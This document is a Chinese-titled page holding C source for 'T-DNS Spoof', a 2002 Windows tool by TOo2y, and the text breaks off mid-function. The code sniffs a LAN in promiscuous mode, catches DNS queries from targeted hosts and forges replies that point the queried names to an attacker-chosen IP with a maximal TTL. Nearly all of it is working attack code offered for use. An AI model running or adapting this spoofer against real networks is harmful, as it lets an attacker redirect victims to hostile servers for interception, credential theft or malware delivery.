DNS欺骗程序

#include <packet32.h> #include <iphlpapi.h> #include <stdio.h> #include <iostream.h> #pragma comment (lib, "packet") #pragma comment (lib, "iphlpapi") #pragma comment (lib, "ws2_32") #define ETH_IP 0x0800 #define ETH_ARP 0x0806 #define ARP_REQUEST 0x0001 #define ARP_REPLY 0x0002 #define ARP_HARDWARE 0x0001 #define MAX_NUM_ADAPTER 10 #define NDIS_PACKET_TYPE_PROMISCUOUS 0x0020 #pragma pack(push,1) typedef struct ethdr { unsigned char eh_dst[6]; unsigned char eh_src[6]; unsigned short eh_type; }ETHDR,*PETHDR; typedef struct arphdr { unsigned short arp_hdr; unsigned short arp_pro; unsigned char arp_hln; unsigned char arp_pln; unsigned short arp_opt; unsigned char arp_sha[6]; unsigned long arp_spa; unsigned char arp_tha[6]; unsigned long arp_tpa; }ARPHDR,*PARPHDR; typedef struct iphdr { unsigned char h_lenver; unsigned char tos; unsigned short total_len; unsigned short ident; unsigned short frag_and_flags; unsigned char ttl; unsigned char protocol; unsigned short checksum; unsigned int sourceip; unsigned int destip; }IPHDR,*PIPHDR; typedef struct psd { unsigned int saddr; unsigned int daddr; char mbz; char ptcl; unsigned short udpl; }PSD,*PPSD; typedef struct udphdr { unsigned short souceport; unsigned short destport; unsigned short length; unsigned short checksum; }UDPHDR,*PUDPHDR; typedef struct dns { unsigned short id; unsigned short flags; unsigned short quests; unsigned short answers; unsigned short author; unsigned short addition; }DNS,*PDNS; typedef struct query { unsigned short type; unsigned short classes; }QUERY,*PQUERY; typedef struct response { unsigned short name; unsigned short type; unsigned short classes; unsigned int ttl; unsigned short length; unsigned int addr; }RESPONSE,*PRESPONSE; #pragma pack(pop) unsigned short checksum(USHORT *buffer,int size) { unsigned long cksum=0; while(size>1) { cksum+=*buffer++; size-=sizeof(unsigned short); } if(size) cksum+=*buffer; cksum=(cksum>>16)+(cksum & 0xffff); cksum+=(cksum>>16); return (unsigned short)(~cksum); } LPADAPTER lpadapter=0; LPPACKET lppacketr,lppackets; IPAddr myip,firstip,secondip,virtualip; UCHAR mmac[6]={0},fmac[6]={0},smac[6]={0}; //mmac:自己主机;fmac:网关；smac:被攻击主机 char adapterlist[MAX_NUM_ADAPTER][1024]; void start() { printf("===[ T-DNS Spoof, by TOo2y ]===\n"); printf("===[ E-mail: TOo2y@safechina.net ]===\n"); printf("===[ Homepage: www.safechina.net ]===\n"); printf("===[ Date: 10-15-2002 ]===\n\n"); return; } void usage() { printf("Usage: T-DNS Firstip Secondip Virtualip\n"); return; } DWORD WINAPI sniff(LPVOID no) { printf("\nI am sniffing...\n"); char *buf; char *pchar; char temp[1024]; char sendbuf[1024]; char recvbuf[1024*250]; struct bpf_hdr *hdr; unsigned char *dname; unsigned long ulbytesreceived,off,ulen; ETHDR ethr,eths; IPHDR ipr,ips; PSD psds; UDPHDR udpr,udps; DNS dnsr,dnss; QUERY queryr,querys; RESPONSE responses; if(PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE) { printf("Warning: Unable to set the adapter to promiscuous mode!\n"); } if(PacketSetBuff(lpadapter,500*1024)==FALSE) { printf("PacketSetBuff Error: %d\n",GetLastError()); return -1; } if(PacketSetReadTimeout(lpadapter,1)==FALSE) { printf("Warning: Unable to set the timeout!\n"); } if((lppacketr=PacketAllocatePacket())==FALSE) { printf("PacketAllocatePacket Receive Error: %d\n",GetLastError()); return -1; } PacketInitPacket(lppacketr,(char *)recvbuf,sizeof(recvbuf)); while(1) { if(PacketReceivePacket(lpadapter,lppacketr,TRUE)==FALSE) { break; } ulbytesreceived=lppacketr->ulBytesReceived; buf=(char *)lppacketr->Buffer; off=0; while(off<ulbytesreceived) { hdr=(struct bpf_hdr *)(buf+off); off+=hdr->bh_hdrlen; pchar=(char *)(buf+off); off=Packet_WORDALIGN(off+hdr->bh_caplen); ethr=*(ETHDR *)pchar; if(ethr.eh_type==htons(ETH_IP)) { ipr=*(IPHDR *)(pchar+sizeof(ETHDR)); if(ipr.protocol!=17) { continue; } if((ipr.sourceip!=secondip) && (ipr.sourceip!=firstip)) { continue; } udpr=*(UDPHDR *)(pchar+sizeof(ETHDR)+sizeof(IPHDR)); ulen=ntohs(udpr.length)-sizeof(UDPHDR)-sizeof(DNS)-sizeof(QUERY); dname=(unsigned char *)malloc(ulen*sizeof(unsigned char)); if(udpr.destport==htons(53)) { printf("Get a DNS Packet...\t"); memset(sendbuf,0,sizeof(sendbuf)); memcpy(&dnsr,pchar+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR),sizeof(DNS)); memcpy(dname,pchar+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS),ulen); memcpy(&queryr.type,pchar+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS)+ulen,2); memcpy(&queryr.classes,pchar+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS)+ulen+2,2); responses.name=htons(0xC00C); responses.type=queryr.type; responses.classes=queryr.classes; responses.ttl=0xFFFFFFFF; responses.length=htons(4); responses.addr=virtualip; querys.classes=queryr.classes; querys.type=queryr.type; dnss.id=dnsr.id; dnss.flags=htons(0x8180); dnss.quests=htons(1); dnss.answers=htons(1); dnss.author=0; dnss.addition=0; udps.souceport=udpr.destport; udps.destport=udpr.souceport; udps.length=htons(sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY)+sizeof(RESPONSE)); udps.checksum=0; ips.h_lenver=(4<<4|sizeof(IPHDR)/sizeof(unsigned int)); ips.tos=0; ips.total_len=ntohs(sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY)+sizeof(RESPONSE)); ips.ident=htons(12345); ips.frag_and_flags=0; ips.ttl=255; ips.protocol=IPPROTO_UDP; ips.checksum=0; ips.sourceip=ipr.destip; ips.destip=ipr.sourceip; psds.saddr=ips.sourceip; psds.daddr=ips.destip; psds.mbz=0; psds.ptcl=IPPROTO_UDP; psds.udpl=htons(sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY)+sizeof(RESPONSE)); memset(temp,0,sizeof(temp)); memcpy(temp,&psds,sizeof(PSD)); memcpy(temp+sizeof(PSD),&udps,sizeof(UDPHDR)); memcpy(temp+sizeof(PSD)+sizeof(UDPHDR),&dnss,sizeof(DNS)); memcpy(temp+sizeof(PSD)+sizeof(UDPHDR)+sizeof(DNS),dname,ulen); memcpy(temp+sizeof(PSD)+sizeof(UDPHDR)+sizeof(DNS)+ulen,&querys,sizeof(QUERY)); memcpy(temp+sizeof(PSD)+sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY),&responses,sizeof(RESPONSE)); udps.checksum=checksum((USHORT *)temp,sizeof(PSD)+sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY)+sizeof(RESPONSE)); memset(temp,0,sizeof(temp)); memcpy(temp,&ips,sizeof(IPHDR)); ips.checksum=checksum((USHORT *)temp,sizeof(IPHDR)); eths.eh_type=ethr.eh_type; memcpy(&eths.eh_src,&ethr.eh_dst,6); memcpy(&eths.eh_dst,&ethr.eh_src,6); memcpy(sendbuf,&eths,sizeof(ETHDR)); memcpy(sendbuf+sizeof(ETHDR),&ips,sizeof(IPHDR)); memcpy(sendbuf+sizeof(ETHDR)+sizeof(IPHDR),&udps,sizeof(UDPHDR)); memcpy(sendbuf+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR),&dnss,sizeof(DNS)); memcpy(sendbuf+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS),dname,ulen);